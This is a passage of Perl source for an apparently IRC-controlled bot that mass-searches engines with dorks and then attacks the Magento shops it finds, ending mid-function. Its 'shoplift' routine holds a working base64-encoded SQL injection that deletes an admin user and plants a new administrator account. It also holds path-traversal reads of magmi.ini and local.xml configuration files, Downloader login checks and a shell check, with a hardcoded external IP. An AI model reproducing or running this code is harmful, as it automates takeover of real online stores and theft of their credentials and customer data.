if ($engine =~ /dommx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domMX",$type); } exit; } }
if ($engine =~ /dommy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domMY",$type); } exit; } }
if ($engine =~ /domnet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domNET",$type); } exit; } }
if ($engine =~ /domnl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domNL",$type); } exit; } }
if ($engine =~ /domorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domORG",$type); } exit; } }
if ($engine =~ /domph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domPH",$type); } exit; } }
if ($engine =~ /dompl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domPL",$type); } exit; } }
if ($engine =~ /domro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domRO",$type); } exit; } }
if ($engine =~ /domru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domRU",$type); } exit; } }
if ($engine =~ /domth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domTH",$type); } exit; } }
if ($engine =~ /domua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domUA",$type); } exit; } }
if ($engine =~ /domuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domUK",$type); } exit; } }
if ($engine =~ /domus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domUS",$type); } exit; } }
if ($engine =~ /domsi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domSI",$type); } exit; } }
if ($engine =~ /dombe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domBE",$type); } exit; } }
if ($engine =~ /dombiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domBIZ",$type); } exit; } }
if ($engine =~ /Marlboro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Marlboro",$type); } exit; } }
if ($engine =~ /Mustang/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Mustang",$type); } exit; } }
if ($engine =~ /U-Mild/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"U-Mild",$type); } exit; } }
if ($engine =~ /Vegas/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Vegas",$type); } exit; } }
if ($engine =~ /Surya/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Surya",$type); } exit; } }
if ($engine =~ /Viper/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Viper",$type); } exit; } }
if ($engine =~ /Tanggida'a/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Tanggida'a",$type); } exit; } }
if ($engine =~ /Tanggikiki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Tanggikiki",$type); } exit; } }
if ($engine =~ /Tapa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Tapa",$type); } exit; } }
if ($engine =~ /Bengsol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Bengsol",$type); } exit; } }
if ($engine =~ /Dulomo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Dulomo",$type); } exit; } }
if ($engine =~ /Ayula/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Ayula",$type); } exit; } }
if ($engine =~ /MicroPhone/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MicroPhone",$type); } exit; } }
if ($engine =~ /Monitor/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Monitor",$type); } exit; } }
if ($engine =~ /Mouse/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Mouse",$type); } exit; } }
if ($engine =~ /Keyboard/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Keyboard",$type); } exit; } }
if ($engine =~ /Printer/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Printer",$type); } exit; } }
if ($engine =~ /Rooter/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Rooter",$type); } exit; } }
if ($engine =~ /FlashDISC/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FlashDISC",$type); } exit; } }
if ($engine =~ /Cable/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Cable",$type); } exit; } }
if ($engine =~ /CPU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CPU",$type); } exit; } }
if ($engine =~ /Modem/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Modem",$type); } exit; } }
if ($engine =~ /HDD/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HDD",$type); } exit; } }
if ($engine =~ /CDroom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CDroom",$type); } exit; } }
if ($engine =~ /yahoodom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"YahooDom",$type); } exit; } }
if ($engine =~ /suspectae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectAE",$type); } exit; } }
if ($engine =~ /suspectar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectAR",$type); } exit; } }
if ($engine =~ /suspectat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectAT",$type); } exit; } }
if ($engine =~ /suspectau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectAU",$type); } exit; } }
if ($engine =~ /suspectbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectBR",$type); } exit; } }
if ($engine =~ /suspectca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectCA",$type); } exit; } }
if ($engine =~ /suspectcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectCL",$type); } exit; } }
if ($engine =~ /suspectcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectCN",$type); } exit; } }
if ($engine =~ /suspectcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectCOM",$type); } exit; } }
if ($engine =~ /suspectcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectCZ",$type); } exit; } }
if ($engine =~ /suspectde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectDE",$type); } exit; } }
if ($engine =~ /suspectdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectDK",$type); } exit; } }
if ($engine =~ /suspectes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectES",$type); } exit; } }
if ($engine =~ /suspecteu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectEU",$type); } exit; } }
if ($engine =~ /suspectfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectFR",$type); } exit; } }
if ($engine =~ /suspecthu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectHU",$type); } exit; } }
if ($engine =~ /suspectid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectID",$type); } exit; } }
if ($engine =~ /suspectil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectIL",$type); } exit; } }
if ($engine =~ /suspectin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectIN",$type); } exit; } }
if ($engine =~ /suspectinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectINfO",$type); } exit; } }
if ($engine =~ /suspectir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectIR",$type); } exit; } }
if ($engine =~ /suspectit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectIT",$type); } exit; } }
if ($engine =~ /suspectjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectJP",$type); } exit; } }
if ($engine =~ /suspectkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectKR",$type); } exit; } }
if ($engine =~ /suspectmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectMX",$type); } exit; } }
if ($engine =~ /suspectmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectMY",$type); } exit; } }
if ($engine =~ /suspectnet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectNET",$type); } exit; } }
if ($engine =~ /suspectnl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectNL",$type); } exit; } }
if ($engine =~ /suspectorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectORG",$type); } exit; } }
if ($engine =~ /suspectph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectPH",$type); } exit; } }
if ($engine =~ /suspectpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectPL",$type); } exit; } }
if ($engine =~ /suspectro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectRO",$type); } exit; } }
if ($engine =~ /suspectru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectRU",$type); } exit; } }
if ($engine =~ /suspectth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectTH",$type); } exit; } }
if ($engine =~ /suspectua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectUA",$type); } exit; } }
if ($engine =~ /suspectuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectUK",$type); } exit; } }
if ($engine =~ /suspectus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectUS",$type); } exit; } }
if ($engine =~ /suspectsi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectSI",$type); } exit; } }
if ($engine =~ /suspectbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectBE",$type); } exit; } }
if ($engine =~ /suspectbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectBIZ",$type); } exit; } }
if ($engine =~ /engae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engAE",$type); } exit; } }
if ($engine =~ /engar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engAR",$type); } exit; } }
if ($engine =~ /engat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engAT",$type); } exit; } }
if ($engine =~ /engau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engAU",$type); } exit; } }
if ($engine =~ /engbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engBR",$type); } exit; } }
if ($engine =~ /engca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engCA",$type); } exit; } }
if ($engine =~ /engcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engCL",$type); } exit; } }
if ($engine =~ /engcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engCN",$type); } exit; } }
if ($engine =~ /engcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engCOM",$type); } exit; } }
if ($engine =~ /engcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engCZ",$type); } exit; } }
if ($engine =~ /engde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engDE",$type); } exit; } }
if ($engine =~ /engdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engDK",$type); } exit; } }
if ($engine =~ /enges/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engES",$type); } exit; } }
if ($engine =~ /engeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engEU",$type); } exit; } }
if ($engine =~ /engfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engFR",$type); } exit; } }
if ($engine =~ /enghu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engHU",$type); } exit; } }
if ($engine =~ /engid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engID",$type); } exit; } }
if ($engine =~ /engil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engIL",$type); } exit; } }
if ($engine =~ /engin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engIN",$type); } exit; } }
if ($engine =~ /enginfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engINfO",$type); } exit; } }
if ($engine =~ /engir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engIR",$type); } exit; } }
if ($engine =~ /engit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engIT",$type); } exit; } }
if ($engine =~ /engjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engJP",$type); } exit; } }
if ($engine =~ /engkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engKR",$type); } exit; } }
if ($engine =~ /engmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engMX",$type); } exit; } }
if ($engine =~ /engmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engMY",$type); } exit; } }
if ($engine =~ /engnet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engNET",$type); } exit; } }
if ($engine =~ /engnl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engNL",$type); } exit; } }
if ($engine =~ /engorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engORG",$type); } exit; } }
if ($engine =~ /engph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engPH",$type); } exit; } }
if ($engine =~ /engpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engPL",$type); } exit; } }
if ($engine =~ /engro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engRO",$type); } exit; } }
if ($engine =~ /engru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engRU",$type); } exit; } }
if ($engine =~ /ength/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engTH",$type); } exit; } }
if ($engine =~ /engua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engUA",$type); } exit; } }
if ($engine =~ /enguk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engUK",$type); } exit; } }
if ($engine =~ /engus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engUS",$type); } exit; } }
if ($engine =~ /engsi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engSI",$type); } exit; } }
if ($engine =~ /engbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engBE",$type); } exit; } }
if ($engine =~ /engbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engBIZ",$type); } exit; } }
if ($engine =~ /google1/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe1",$type); } exit; } }
if ($engine =~ /google2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe2",$type); } exit; } }
if ($engine =~ /google3/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe3",$type); } exit; } }
if ($engine =~ /google4/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe4",$type); } exit; } }
if ($engine =~ /google5/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe5",$type); } exit; } }
if ($engine =~ /google6/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe6",$type); } exit; } }
if ($engine =~ /google7/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe7",$type); } exit; } }
if ($engine =~ /google8/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe8",$type); } exit; } }
if ($engine =~ /google9/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe9",$type); } exit; } }
if ($engine =~ /googlea1/i) {if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLea1",$type);} exit; } }
if ($engine =~ /googlea2/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&type($channel,$bug,$simpan,$dork,"GooGLea2",$type);
} exit; }
}
if ($engine =~ /googlec1/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&type($channel,$bug,$simpan,$dork,"GooGLeC1",$type);
} exit; }
}
if ($engine =~ /googlec2/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&type($channel,$bug,$simpan,$dork,"GooGLeC2",$type);
} exit; }
}
if ($engine =~ /googlec3/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&type($channel,$bug,$simpan,$dork,"GooGLeC3",$type);
} exit; }
}
if ($engine =~ /googlec4/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&type($channel,$bug,$simpan,$dork,"GooGLeC4",$type);
} exit; }
}
if ($engine =~ /googlec5/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&type($channel,$bug,$simpan,$dork,"GooGLeC5",$type);
} exit; }
}
if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Bing",$type); } exit; } }
if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BigLobe",$type); } exit; } }
if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"WaLLa",$type); } exit; } }
if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UoL",$type); } exit; } }
if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"OnEt",$type); } exit; } }
if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CLusTy",$type); } exit; } }
if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SaPo",$type); } exit; } }
if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AoL",$type); } exit; } }
if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LyCos",$type); } exit; } }
if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HotBot",$type); } exit; } }
if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SeZNam",$type); } exit; } }
if ($engine =~ /bypass/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"bypass",$type); } exit; } }
if ($engine =~ /google2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGle2",$type); } exit; } }
}
###### EXPLOITING #######
sub shoplift(){
my $channel = $_[0];
my $bug = $_[1];
my $simpan = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $nick = $_[5];
my @list = &search_engine($channel,$bug,$dork,$engine,$magalogo);
my $num = scalar(@list);
if ($num > 0){
foreach my $site(@list)
{
$count++;
if ($count == $num-1) {
&msg("$channel","4,1× 0$engine 4× 8—–—–—–» 14Habis!!");
}
my $test1 = "http://".$site."app/etc/local.xml";
my $test2 = "http://".$site."api/xmlrpc";
my $magx = "http://".$site."/magmi/web/download_file.php?file=../conf/magmi.ini";
my $magmix = "http://".$site."/web/download_file.php?file=../conf/magmi.ini";
my $injek = "http://".$site."admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzM7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDMzOyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzMsJ21hZ2VudG8nLCAnZGVzaWduJywgJ2Rlc2lnbkBtYWdlbnRvY29tbWVyY2UuY29tJywgJ2Rlc2lnbicsICdkODkyYTkyNWExZjdkYTdlMGJhMWE5ODU5OTA1ODczYjpycCcsICdudWxsJywgJ251bGwnLCAnbnVsbCcsIDEsIDAsIDEsICdOOycpOyAgSU5TRVJUIElOVE8gYGFkbWluX3JvbGVgIChgcGFyZW50X2lkYCwgYHRyZWVfbGV2ZWxgLCBgc29ydF9vcmRlcmAsIGByb2xlX3R5cGVgLCBgdXNlcl9pZGAsIGByb2xlX25hbWVgKSBWQUxVRVMgKDEsIDIsIDAsICdVJywgMzMsICdkZXNpZ24nKTs7IC0tIA==";
my $tester = "http://50.63.154.103/var/shop.php";
my $html = &get_content($test);
my $html1 = &get_content($test1);
my $magen = &get_content($magx);
my $magmiz = &get_content($magmix);
&get_content($injek);&get_content($injek);&get_content($injek);&get_content($injek);
my $website = "http://".$site."downloader/";
my $check = &get_content($website);
if ($check =~ /Magento Downloader/) {
&msg("$channel","4,1× 0$engine 4× 9http://".$site." 8—–—–—–» [12Check]")
&ceklogin($website,$engine);
&ceklogin1($website,$engine);
&ceklogin2($website,$engine);
&ceklogin3($website,$engine);
&ceklogin4($website,$engine);
&ceklogin5($website,$engine);
&ceklogin6($website,$engine);
&ceklogin7($website,$engine);
&ceklogin8($website,$engine);
&ceklogin9($website,$engine);
&ceklogin10($website,$engine);
&ceklogin11($website,$engine);
&ceklogin12($website,$engine);
&cekshell($site);
